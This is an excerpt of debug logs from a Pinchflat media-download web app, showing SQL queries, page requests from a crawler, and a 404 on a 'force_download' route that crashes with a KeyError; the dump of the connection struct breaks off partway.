QUERY OK source="tasks" db=0.4ms idle=502.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [11535] 15:26:52.214 [debug] QUERY OK source="oban_jobs" db=1.1ms idle=502.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1468, 1469, 1477, 1478, 1486, 1487, 1495, 1496, 1504, 1505, 1513, 1514, 1522, 1523, 1534, 1535, 1546, 1547, 1559, 1560, 1572, 1573, 1585, 1586, 1598, 1610, 1611, 1626, 1627, 1643, 1644, 1661, 1662, 1678, 1679, 1696, 1697, 1713, 1714, 1730] 15:26:52.215 [debug] QUERY OK source="settings" db=0.0ms idle=292.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:52.215 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:52.215 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:52.216 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:26:52.221 [info] Sent 200 in 10ms 15:26:52.711 [info] GET /sources/2/media/11511 15:26:52.711 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "11511", "source_id" => "2"} Pipelines: [:browser] 15:26:52.712 [debug] QUERY OK source="media_items" db=0.2ms idle=497.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 15:26:52.712 [debug] QUERY OK source="tasks" db=0.3ms idle=497.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [11511] 15:26:52.713 [debug] QUERY OK source="sources" db=0.4ms idle=497.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:26:52.714 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=497.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1462, 1463, 1471, 1472, 1480, 1481, 1489, 1490, 1499, 1500, 1508, 1509, 1517, 1518, 1527, 1528, 1540, 1552, 1553, 1565, 1566, 1578, 1579, 1591, 1592, 1603, 1604, 1617, 1618, 1634, 1635, 1652, 1653, 1669, 1670, 1687, 1688, 1704, 1705, 1721, 1722, 1736] 15:26:52.714 [debug] QUERY OK source="settings" db=0.0ms idle=498.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:52.715 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:52.715 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:52.716 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:26:52.720 [info] Sent 200 in 9ms 15:26:52.928 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.197 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:27:22.929 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:25.577 [info] GET /sources/2/media/12001/edit 15:27:25.577 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12001", "source_id" => "2"} Pipelines: [:browser] 15:27:25.577 [debug] QUERY OK source="media_items" db=0.2ms idle=1046.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 15:27:25.578 [debug] QUERY OK source="settings" db=0.0ms idle=1047.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:25.578 [debug] QUERY OK source="settings" db=0.1ms idle=1047.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:25.578 [debug] QUERY OK source="settings" db=0.1ms idle=1048.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:25.580 [info] Sent 200 in 2ms 15:27:25.611 [info] GET /sources/3/media/12546/edit 15:27:25.611 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12546", "source_id" => "3"} Pipelines: [:browser] 15:27:25.611 [debug] QUERY OK source="media_items" db=0.3ms idle=650.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 15:27:25.612 [debug] QUERY OK source="settings" db=0.0ms idle=34.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:25.612 [debug] QUERY OK source="settings" db=0.1ms idle=34.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:25.612 [debug] QUERY OK source="settings" db=0.0ms idle=34.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:25.613 [info] Sent 200 in 2ms 15:27:26.110 [info] GET /sources/2/media/12518/edit 15:27:26.110 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12518", "source_id" => "2"} Pipelines: [:browser] 15:27:26.111 [debug] QUERY OK source="media_items" db=0.2ms idle=499.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 15:27:26.111 [debug] QUERY OK source="settings" db=0.1ms idle=499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:26.112 [debug] QUERY OK source="settings" db=0.1ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:26.112 [debug] QUERY OK source="settings" db=0.0ms idle=499.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:26.113 [info] Sent 200 in 2ms 15:27:26.613 [info] GET /sources/2/media/13020/edit 15:27:26.614 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "13020", "source_id" => "2"} Pipelines: [:browser] 15:27:26.614 [debug] QUERY OK source="media_items" db=0.2ms idle=652.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 15:27:26.615 [debug] QUERY OK source="settings" db=0.1ms idle=503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:26.615 [debug] QUERY OK source="settings" db=0.0ms idle=503.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:26.615 [debug] QUERY OK source="settings" db=0.0ms idle=503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:26.616 [info] Sent 200 in 2ms 15:27:27.114 [info] GET /sources/3/media/8815 15:27:27.115 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "8815", "source_id" => "3"} Pipelines: [:browser] 15:27:27.115 [debug] QUERY OK source="media_items" db=0.2ms idle=500.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8815] 15:27:27.116 [debug] QUERY OK source="tasks" db=0.0ms idle=500.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [8815] 15:27:27.116 [debug] QUERY OK source="sources" db=0.1ms idle=500.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:27:27.116 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:27.116 [debug] QUERY OK source="settings" db=0.0ms idle=153.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:27.117 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:27.117 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:27:27.119 [info] Sent 200 in 4ms 15:27:44.860 [info] GET /sources/3/media/10464/force_download 15:27:44.860 [info] GET /sources/3/media/13061/edit 15:27:44.860 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "13061", "source_id" => "3"} Pipelines: [:browser] 15:27:44.861 [debug] QUERY OK source="settings" db=0.2ms idle=875.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:44.861 [debug] QUERY OK source="media_items" db=0.5ms idle=330.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 15:27:44.861 [debug] QUERY OK source="settings" db=0.1ms idle=330.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:44.861 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:27:44.861 [debug] QUERY OK source="settings" db=0.0ms idle=330.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:44.861 [debug] QUERY OK source="settings" db=0.1ms idle=330.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:44.862 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:44.863 [info] Sent 200 in 2ms 15:27:44.861 [error] #PID<0.35782.0> running PinchflatWeb.Endpoint (connection #PID<0.35781.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/media/10464/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/10464/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35781.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/10464/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59364}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35782.0>, params: %{}, path_info: ["sources", "3", "media", "10464", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/media/10464/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSRkLc82X4jGEACSAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35781.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/10464/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59364}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/10464/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35781.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/10464/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 59364}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35782.0>, params: %{}, path_info: ["sources", "3", "media", "10464", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: 